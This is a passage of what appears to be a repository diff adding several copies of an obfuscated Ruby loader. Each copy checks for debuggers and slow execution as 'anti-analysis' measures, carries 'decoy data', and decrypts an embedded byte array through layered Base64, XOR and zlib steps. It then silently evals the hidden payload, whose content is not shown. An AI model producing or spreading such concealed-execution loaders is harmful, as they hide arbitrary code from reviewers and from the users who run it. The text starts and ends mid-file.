raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_o51e260, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _ce0131d
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_ce0131d.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_m07ce63 = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_dc46b51 = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _dc46b51) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_yec6c73 = _m07ce63.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_jcc3b8f = ->(_f9602fd, _cfa2d09) do
|
|
32
|
+
_u070824 = []
|
|
33
|
+
_f9602fd.each_with_index do |byte, idx|
|
|
34
|
+
_u070824 << (byte ^ _cfa2d09[idx % _cfa2d09.length])
|
|
35
|
+
end
|
|
36
|
+
_u070824
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_vbf2957 = lambda do |_g0ce348, _ab09c94, _y1afb8f, _kf3fcba|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_g0ce348.pack('C*'))
|
|
44
|
+
if current_hash != _kf3fcba
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_g0ce348 = [182, 150, 102, 82, 251, 254, 207, 144, 206, 76, 100, 132, 78, 67, 123, 172, 78, 247, 80, 25, 141, 202, 170, 157, 129, 243, 84, 41, 118, 231, 192, 83, 203, 11, 49, 158, 59, 201, 162, 217, 167, 62, 238, 195, 185, 116, 23, 79, 147, 221, 200, 157, 192, 194, 150, 192, 35, 132, 121, 246, 193, 59, 238, 55, 138, 229, 197, 164, 176, 76, 194, 45, 90, 197, 123, 239, 33, 227, 249, 210, 70, 219, 108, 254, 91, 115, 186, 85, 55, 147, 160, 2, 70, 217, 243, 199, 219, 126, 216, 222, 225, 87, 187, 222, 76, 18, 146, 14, 178, 211, 38, 231, 164, 187, 59, 255, 153, 31, 98, 137, 105, 98, 213, 90, 61, 83, 103, 75, 5, 185, 35, 219, 20, 231, 51, 115, 196, 201, 2, 75, 185, 49, 1, 215, 179, 117, 190, 198, 46, 132, 190, 37, 64, 153, 234, 235, 96, 48, 5, 128, 189, 98, 55, 86, 18, 236, 180, 172, 135, 197, 208, 132, 138, 166, 120, 35, 160, 188, 88, 162, 130, 7, 233, 162, 21, 202, 248, 43, 73, 41, 214, 48, 170, 3, 31, 186, 240, 176, 215, 169, 87, 68, 100, 221, 98, 244, 229, 58, 106, 24, 179, 203, 162, 90, 94, 73, 153, 247, 237, 15, 135, 243, 71, 236, 165, 91, 139, 47, 122, 194, 48, 15, 122, 205, 166, 87, 158, 214, 112, 28, 20, 84, 190, 163, 8, 159, 195, 153, 60, 216, 246, 255, 14, 31, 15, 21, 39, 49, 224, 238, 179, 140, 133, 33, 34, 191, 158, 89, 21, 38, 137, 236, 130, 157, 105, 19, 147, 146, 41, 54, 11, 177, 140, 168, 138, 50, 32, 3, 109, 2, 58, 208, 243, 113, 91, 75, 105, 137, 226, 5, 214, 142, 186, 12, 190, 134, 136, 121, 116, 54, 221, 72, 152, 183, 104, 145, 164, 177, 45, 14, 61, 169, 33, 146, 200, 102, 7, 36, 88, 27, 60, 100, 152, 51, 95, 204, 84, 13, 97, 15, 188, 25, 48, 97, 52, 238, 84, 237, 176, 100, 48, 116, 148, 50, 57, 66, 45, 221, 22, 6, 80, 176, 242, 124, 242, 190, 206, 28, 248, 139, 182, 138, 26, 72, 169, 154, 57, 122, 22, 37, 130, 180, 122, 151, 203, 85, 81, 249, 70, 20, 60, 240, 161, 193, 58, 8, 37, 187, 46, 171, 177, 77, 255, 149, 249, 200, 22, 117, 165, 94, 102, 243, 62, 119, 244, 114, 9, 71, 215, 89, 136, 133, 34, 238, 189, 227, 105, 230, 6, 100, 173, 248, 52, 254, 105, 223, 107, 35, 124, 142, 112, 185, 112, 108, 98, 161, 115, 132, 112, 212, 132, 69, 49, 141, 211, 29, 197, 179, 119, 84, 249, 200, 28, 66, 105, 112, 249, 192, 59, 249, 105, 186, 213, 210, 97, 187, 16, 240, 157, 213, 86, 248, 207, 133, 54, 49, 121, 110, 140, 244, 224, 92, 213, 59, 230, 19, 155, 163, 62, 39, 99, 46, 72, 105, 219, 153, 24, 58, 71, 123, 218, 172, 1, 175, 106, 64, 132, 183, 213, 201, 39, 166, 234, 240, 131, 9, 32, 6, 32, 181, 213, 52, 229, 249, 131, 159, 126, 87, 23, 145, 209, 211, 88, 228, 85, 22, 173, 47, 219, 90, 156, 98, 15, 68, 38, 64, 132, 55, 221, 102, 85, 30, 251, 229, 245, 250, 198, 63, 232, 41, 44, 240, 84, 207, 232, 160, 113, 11, 149, 16, 95, 145, 78, 61, 1, 3, 234, 113, 203, 39, 191, 109, 46, 34, 154, 130, 79, 87, 26, 18, 246, 196, 167, 171, 169, 177, 93, 195, 56, 230, 44, 231, 243, 248, 255, 169, 247, 238, 154, 88, 211, 106, 71, 145, 123, 79, 28, 94, 43, 89, 76, 128, 134, 213, 180, 155, 48, 105, 170, 178, 193, 65, 85, 81, 255, 127, 100, 27, 115, 91, 83, 32, 176, 26, 163, 196, 106, 69, 18, 213, 71, 41, 99, 121, 141, 169, 218, 199, 158, 187, 45, 53, 36, 91, 191, 194, 154, 144, 155, 137, 249, 107, 186, 248, 89, 207, 12, 72, 198, 159, 51, 175, 80, 140, 246, 205, 66, 20, 55, 133, 27, 250, 20, 148, 190, 182, 98, 243, 161, 86, 247, 198, 152, 20, 173, 183, 242, 55, 253, 236, 147, 145, 38, 39, 186, 180, 82, 10, 251, 29, 168, 151, 17, 29, 182, 135, 156, 196, 59, 232, 31, 171, 214, 155, 191, 90, 49, 156, 169, 138, 142, 197, 255, 134, 38, 136, 36, 186, 65, 89, 118, 229, 121, 189, 100, 150, 201, 61, 238, 103, 47, 190, 67, 160, 192, 234, 173, 247, 76, 107, 228, 143, 106, 208, 127, 118, 114, 229, 152, 170, 244, 62, 220, 136, 18, 47, 109, 230, 190, 55, 127, 140, 240, 140, 61, 32, 167, 140, 245, 146, 10, 144, 176, 20, 221, 228, 208, 27, 225, 29, 69, 252, 107, 154, 112, 50, 182, 124, 246, 251, 195, 0, 182, 156, 228, 12, 183, 153, 17, 212, 23, 252, 105, 137, 55, 121, 121, 133, 50, 212, 121, 110, 56, 238, 251, 40, 26, 233, 86, 163, 15, 142, 74, 70, 96, 102, 13, 158, 169, 17, 16, 39, 93, 6, 203, 21, 155, 40, 196, 152, 153, 217, 123, 152, 254, 175, 77, 37, 15, 72, 212, 239, 133, 28, 206, 90, 182, 111, 202, 172, 3, 148, 168, 39, 112, 22, 30, 106, 78, 105, 88, 21, 63, 124, 175, 88, 228, 67, 91, 220, 229, 145, 189, 173, 185, 219, 50, 111, 198, 132, 215, 159, 22, 159, 248, 57, 238, 42, 179, 125, 228, 214, 104, 137, 33, 33, 229, 187, 162, 60, 160, 19, 210, 221, 52, 242, 7, 49, 201, 141, 72, 66, 40, 141, 33, 223, 198, 12, 80, 15, 172, 114, 125, 236, 18, 48, 188, 159, 171, 135, 211, 162, 236, 159, 240, 213, 54, 167, 172, 248, 67, 127, 87, 29, 185, 189, 103, 200, 131, 225, 82, 66, 116, 57, 19, 174, 71, 2, 89, 204, 37, 155, 96, 12, 151, 249, 236, 58, 230, 136, 199, 197, 16, 161, 209, 164, 47, 75, 245, 200, 152, 158, 128, 177, 247, 105, 228, 26, 49, 50, 46, 55, 166, 185, 90, 192, 125, 86, 165, 244, 52, 72, 254, 55, 2, 216, 166, 104, 223, 43, 108, 168, 252, 6, 218, 103, 160, 248, 24, 238, 12, 98, 113, 43, 134, 230, 15, 169, 32, 107, 151, 131, 33, 178, 122, 255, 91, 134, 197, 68, 215, 135, 141, 246, 17, 212, 54, 86, 36, 104, 45, 170, 120, 161, 30, 59, 174, 189, 46, 31, 153, 206, 237, 94, 89, 12, 109, 214, 208, 181, 83, 154, 27, 191, 210, 116, 56, 63, 131, 147, 238, 132, 120, 86, 119, 163, 208, 60, 100, 207, 111, 95, 87, 47, 26, 227, 130, 95, 36, 244, 128, 53, 111, 140, 99, 215, 1, 127, 86, 228, 42, 10, 243, 89, 62, 246, 120, 124, 67, 120, 148, 213, 236, 9, 145, 128, 155, 0, 158, 31, 33, 175, 40, 62, 0, 254, 50, 29, 81, 3, 123, 24, 23, 103, 58, 173, 52, 47, 145, 179, 46, 202, 116, 103, 50, 41, 250, 226, 245, 21, 114, 139, 61, 27, 73, 94, 148, 97, 208, 42, 177, 179, 149, 195, 111, 18, 113, 107] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_d722587 = [111, 28, 20, 47, 195, 104, 44, 93, 237, 27, 133, 224, 38, 119, 245, 22, 206, 76, 107, 192]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_ab09c94 = [0, 0, 0, 1, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_kf3fcba = 'afd7fcf9b3d4ca865eb2b8b8ef0c0fb269287bae094f9a29368800a80f60b341'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_w132812 = [145, 91, 6, 72, 34, 65, 96, 172, 224, 240, 116, 138, 202, 236, 194, 27, 22, 226, 158, 34, 14, 128, 216, 215, 62, 33, 211, 99, 73, 58, 164, 173, 159, 129, 125, 123, 168, 94, 27, 134, 177, 13, 221, 166, 31, 159, 124, 190, 185, 86, 79, 64, 246, 58, 0, 141, 56, 114, 230, 113, 152]
|
|
64
|
+
_ea35086 = [60, 27, 181, 86, 233, 200, 249, 49, 115, 87, 90, 70, 148, 77, 103, 87, 130, 222, 247, 143, 7, 41, 157, 202, 231, 66, 144, 173, 154, 218, 72, 254, 89, 31, 46, 247, 251, 64, 109, 243, 16, 153, 120, 5, 225, 87, 182, 224, 96, 42, 251, 10, 249, 42, 210, 124, 110, 135, 56, 22, 226, 69, 214, 219, 59, 42, 95, 207, 94, 150, 134, 248, 170, 50, 96, 150, 186, 217, 136, 213, 112, 175, 167, 229, 174, 247, 88, 48, 115, 235, 219, 37, 106, 6, 134, 215, 165, 75, 108, 42, 61, 116, 169, 239, 108, 200, 24, 123, 150]
|
|
65
|
+
_f807eb5 = [7, 43, 115, 79, 96, 208, 100, 160, 9, 211, 144, 52, 140, 76, 106, 214, 238, 151, 132, 196, 28, 212, 140, 148, 211, 163, 243, 67, 94, 60, 124, 146, 195, 105, 165, 250, 156, 40, 157, 170, 188, 190, 194, 144, 174, 222, 213, 136, 180, 179, 175, 171, 13, 22, 72, 32, 229, 242, 153, 188, 77, 199, 98, 184, 221, 21, 215, 164, 84, 255, 64, 170, 28, 99, 21, 240, 21, 90, 130, 55, 23, 107, 139, 167, 76, 129, 66, 181, 154, 71, 167, 187, 58, 180, 191, 92, 217, 171, 65, 76, 139, 224, 193, 125, 176, 66, 88, 4, 48, 92, 255, 3]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _vbf2957.call(_g0ce348, _ab09c94, _d722587, _kf3fcba)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_f9ab04d = _g0ce348.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_y6ecbea|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_xd00d83 = 5 - _y6ecbea - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_u039d36 = 4
|
|
84
|
+
_s995493 = _xd00d83 * _u039d36
|
|
85
|
+
_x3000a4 = _d722587[_s995493, _u039d36]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _ab09c94[_xd00d83] == 1
|
|
93
|
+
_tafc160 = _f9ab04d.pack('C*')
|
|
94
|
+
_tafc160 = Base64.strict_decode64(_tafc160)
|
|
95
|
+
_f9ab04d = _tafc160.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_f9ab04d = _jcc3b8f.call(_f9ab04d, _x3000a4)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_tafc160 = _f9ab04d.pack('C*')
|
|
103
|
+
_tafc160 = Zlib::Inflate.inflate(_tafc160)
|
|
104
|
+
_f9ab04d = _tafc160.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_fe34af4 = _f9ab04d.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _fe34af4.strip.empty? || _fe34af4.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_fe34af4, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _v9059b2
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_v9059b2.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_za2cb34 = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_fa3a292 = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _fa3a292) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_w8884f3 = _za2cb34.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_lf48b92 = ->(_w124270, _d2af1f3) do
|
|
32
|
+
_r6f2332 = []
|
|
33
|
+
_w124270.each_with_index do |byte, idx|
|
|
34
|
+
_r6f2332 << (byte ^ _d2af1f3[idx % _d2af1f3.length])
|
|
35
|
+
end
|
|
36
|
+
_r6f2332
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_s73331c = lambda do |_w7d53dc, _q64d5d3, _yf6fb9d, _a18e4c2|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_w7d53dc.pack('C*'))
|
|
44
|
+
if current_hash != _a18e4c2
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_w7d53dc = [28, 224, 134, 225, 189, 152, 201, 96, 100, 58, 91, 47, 150, 90, 70, 210, 12, 188, 155, 50, 7, 252, 121, 70, 205, 22, 82, 69, 206, 149, 52, 215, 248, 90, 48, 211, 41, 37, 159, 72, 88, 86, 216, 234, 4, 253, 119, 228, 239, 49, 111, 78, 220, 4, 35, 62, 114, 204, 250, 223, 80, 31, 184, 121, 70, 154, 32, 77, 86, 147, 58, 54, 115, 17, 83, 89, 17, 96, 103, 170, 129, 117, 56, 187, 76, 219, 54, 24, 67, 21, 182, 72, 18, 119, 153, 249, 45, 136, 40, 200, 50, 20, 60, 2, 151, 100, 79, 194, 18, 246, 233, 91, 194, 20, 235, 241, 14, 166, 213, 23, 200, 238, 34, 35, 131, 220, 74, 100, 95, 216, 33, 233, 123, 182, 165, 241, 60, 126, 247, 199, 185, 68, 212, 77, 22, 174, 60, 81, 33, 37, 102, 81, 162, 86, 51, 24, 223, 113, 180, 122, 245, 211, 130, 33, 17, 211, 230, 255, 252, 5, 179, 193, 208, 101, 73, 147, 140, 95, 121, 87, 63, 58, 75, 100, 129, 241, 32, 176, 106, 107, 248, 64, 200, 94, 206, 92, 85, 165, 214, 183, 35, 248, 128, 97, 173, 129, 33, 233, 20, 130, 58, 191, 143, 129, 237, 150, 120, 229, 120, 158, 53, 178, 80, 125, 243, 146, 157, 70, 162, 133, 117, 136, 49, 123, 148, 192, 9, 26, 233, 63, 92, 201, 181, 209, 77, 214, 215, 117, 97, 206, 243, 90, 5, 134, 26, 253, 195, 63, 3, 237, 209, 232, 239, 70, 245, 125, 68, 77, 27, 206, 236, 224, 58, 227, 181, 45, 171, 148, 40, 203, 163, 136, 8, 110, 71, 75, 97, 134, 193, 123, 133, 139, 193, 189, 110, 232, 192, 159, 34, 14, 226, 106, 128, 47, 4, 193, 193, 140, 178, 241, 141, 93, 131, 240, 140, 195, 221, 184, 63, 243, 210, 1, 8, 62, 201, 103, 162, 134, 49, 206, 246, 196, 84, 213, 186, 104, 148, 114, 153, 175, 31, 144, 80, 76, 36, 48, 137, 67, 60, 15, 210, 230, 45, 246, 90, 122, 164, 139, 47, 24, 207, 126, 21, 186, 59, 17, 86, 155, 95, 143, 2, 179, 195, 158, 205, 115, 149, 166, 109, 61, 1, 90, 153, 187, 225, 35, 54, 46, 255, 26, 124, 105, 19, 143, 89, 156, 155, 159, 12, 169, 14, 144, 218, 113, 166, 188, 11, 72, 182, 121, 229, 113, 30, 132, 254, 13, 138, 53, 102, 239, 206, 81] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_d5ad541 = [160, 81, 97, 47, 100, 253, 188, 10, 253, 95, 15, 95, 66, 29, 180, 254, 100, 58, 139, 32]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_q64d5d3 = [0, 0, 0, 1, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_a18e4c2 = '18dfccaeb1fae95eaddf2e36afd8104747297db8b3af411daf973e16e4f06b05'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_eac2e6d = [225, 4, 111, 193, 59, 249, 194, 154, 89, 49, 39, 18, 154, 6, 83, 214, 165, 25, 151, 206, 115, 190, 92, 68, 16, 57, 230, 39, 168, 22, 58, 13, 101, 133, 15, 218, 161, 251, 69, 26, 98, 112, 188, 165, 134, 129, 175, 169, 90, 84, 215, 108, 75, 201, 121, 121, 163, 199, 121, 235, 118, 254, 22, 181, 131, 69, 195, 158, 111, 6, 176, 200, 49, 187, 6, 8, 62, 157, 52, 35, 70, 188, 4, 38, 104, 38, 28, 202, 130, 180, 132, 47, 175, 38, 188, 108, 213, 215, 30, 62, 197, 14, 243, 33, 255, 105, 153, 152, 9, 166, 243, 98, 8, 149, 233, 240, 162, 46, 207, 219, 85, 11, 215, 84, 88, 48, 243, 59, 45, 135, 29, 242, 209, 242, 5, 246, 234, 167, 110, 214, 185, 111, 40, 209, 194, 130, 229, 27, 86]
|
|
64
|
+
_v17447d = [133, 182, 64, 109, 35, 34, 73, 73, 106, 187, 65, 109, 226, 243, 49, 152, 116, 249, 212, 234, 120, 39, 108, 51, 76, 206, 241, 172, 17, 69, 153, 96, 53, 114, 160, 73, 39, 148, 237, 54, 150, 232, 52, 41, 143, 231, 57, 4, 192, 228, 28, 116, 69, 188, 87, 194, 24, 148, 234, 14, 167, 149, 79, 138, 46, 205, 203, 66, 130, 48, 225, 56, 78, 117, 145, 44, 72, 115, 66, 245, 211, 111, 217, 219, 26, 195, 137, 28, 99, 186, 101, 54, 72, 132, 122, 173, 121, 168, 81, 103, 10, 48, 229, 175, 198, 120, 121, 55, 115, 222, 6, 216, 133, 232, 88, 4, 24, 149, 127, 49, 107, 94]
|
|
65
|
+
_i64568d = [33, 83, 8, 55, 232, 10, 138, 65, 249, 8, 250, 221, 199, 77, 37, 159, 50, 217, 223, 183, 123, 40, 119, 198, 159, 151, 77, 114, 125, 209, 86, 8, 179, 171, 40, 100, 78, 97, 1, 22, 221, 28, 52, 42, 22, 166, 207, 21, 78, 70, 142, 47, 246, 50, 163, 133, 19, 43, 76, 164, 8, 76, 243, 145, 24, 101, 13, 190, 244, 203, 86, 31]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _s73331c.call(_w7d53dc, _q64d5d3, _d5ad541, _a18e4c2)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_v2106cb = _w7d53dc.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_m64336f|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_c0e15b1 = 5 - _m64336f - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_w35348c = 4
|
|
84
|
+
_m3700fe = _c0e15b1 * _w35348c
|
|
85
|
+
_v336e69 = _d5ad541[_m3700fe, _w35348c]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _q64d5d3[_c0e15b1] == 1
|
|
93
|
+
_c087f22 = _v2106cb.pack('C*')
|
|
94
|
+
_c087f22 = Base64.strict_decode64(_c087f22)
|
|
95
|
+
_v2106cb = _c087f22.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_v2106cb = _lf48b92.call(_v2106cb, _v336e69)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_c087f22 = _v2106cb.pack('C*')
|
|
103
|
+
_c087f22 = Zlib::Inflate.inflate(_c087f22)
|
|
104
|
+
_v2106cb = _c087f22.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_rd53e29 = _v2106cb.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _rd53e29.strip.empty? || _rd53e29.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_rd53e29, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _p3142f9
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_p3142f9.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_a7d3c2a = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_l46d402 = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _l46d402) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_ff782e0 = _a7d3c2a.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_x936993 = ->(_edbd535, _w088403) do
|
|
32
|
+
_o418420 = []
|
|
33
|
+
_edbd535.each_with_index do |byte, idx|
|
|
34
|
+
_o418420 << (byte ^ _w088403[idx % _w088403.length])
|
|
35
|
+
end
|
|
36
|
+
_o418420
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_q2d2a78 = lambda do |_c2391cf, _cab26b5, _y494b86, _i77388a|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_c2391cf.pack('C*'))
|
|
44
|
+
if current_hash != _i77388a
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_c2391cf = [43, 17, 253, 150, 148, 9, 131, 13, 83, 203, 32, 64, 225, 219, 149, 197, 150, 150, 140, 102, 55, 191, 182, 78, 104, 118, 55, 175, 182, 34, 15, 60, 13, 42, 88, 81, 199, 227, 122, 250, 26, 33, 188, 112, 178, 211, 10, 0, 186, 67, 71, 144, 30, 112, 244, 152, 193, 184, 191, 213, 118, 84, 202, 167, 232, 244, 85, 77, 24, 37, 109, 11, 67, 157, 148, 225, 22, 32, 234, 217, 90, 234, 92, 230, 49, 112, 115, 93, 239, 103, 193, 132, 57, 176, 92, 196, 188, 99, 115, 53, 85, 136, 168, 44, 160, 130, 35, 154, 16, 48, 0, 36, 89, 20, 64, 188, 82, 192, 44, 74, 242, 102, 143, 172, 47, 5, 158, 20, 23, 227, 250, 172, 149, 185, 65, 78, 201, 137, 19, 207, 3, 179, 125, 24, 154, 177, 114, 248, 150, 234, 98, 106, 50, 37, 175, 252, 162, 219, 220, 205, 233, 9, 124, 98, 54, 161, 86, 41, 251, 67, 67, 76, 200, 115, 90, 75, 178, 130, 219, 126, 60, 161, 187, 232, 102, 102, 9, 180, 94, 57, 150, 214, 230, 145, 241, 130, 7, 62, 125, 111, 73, 3, 66, 61, 195, 62, 83, 63, 10, 112, 31, 53, 41, 174, 91, 226, 224, 107, 69, 203, 11, 179, 59, 110, 185, 75, 40, 140, 234, 85, 255, 50, 13, 248, 97, 184, 152, 30, 92, 179, 43, 201, 28, 116, 236, 59, 169, 54, 10, 120, 118, 147, 42, 232, 147, 5, 156, 229, 80, 239, 237, 250, 38, 191, 32, 174, 201, 185, 160, 27, 35, 236, 27, 254, 1, 13, 19, 125, 11, 191, 218, 32, 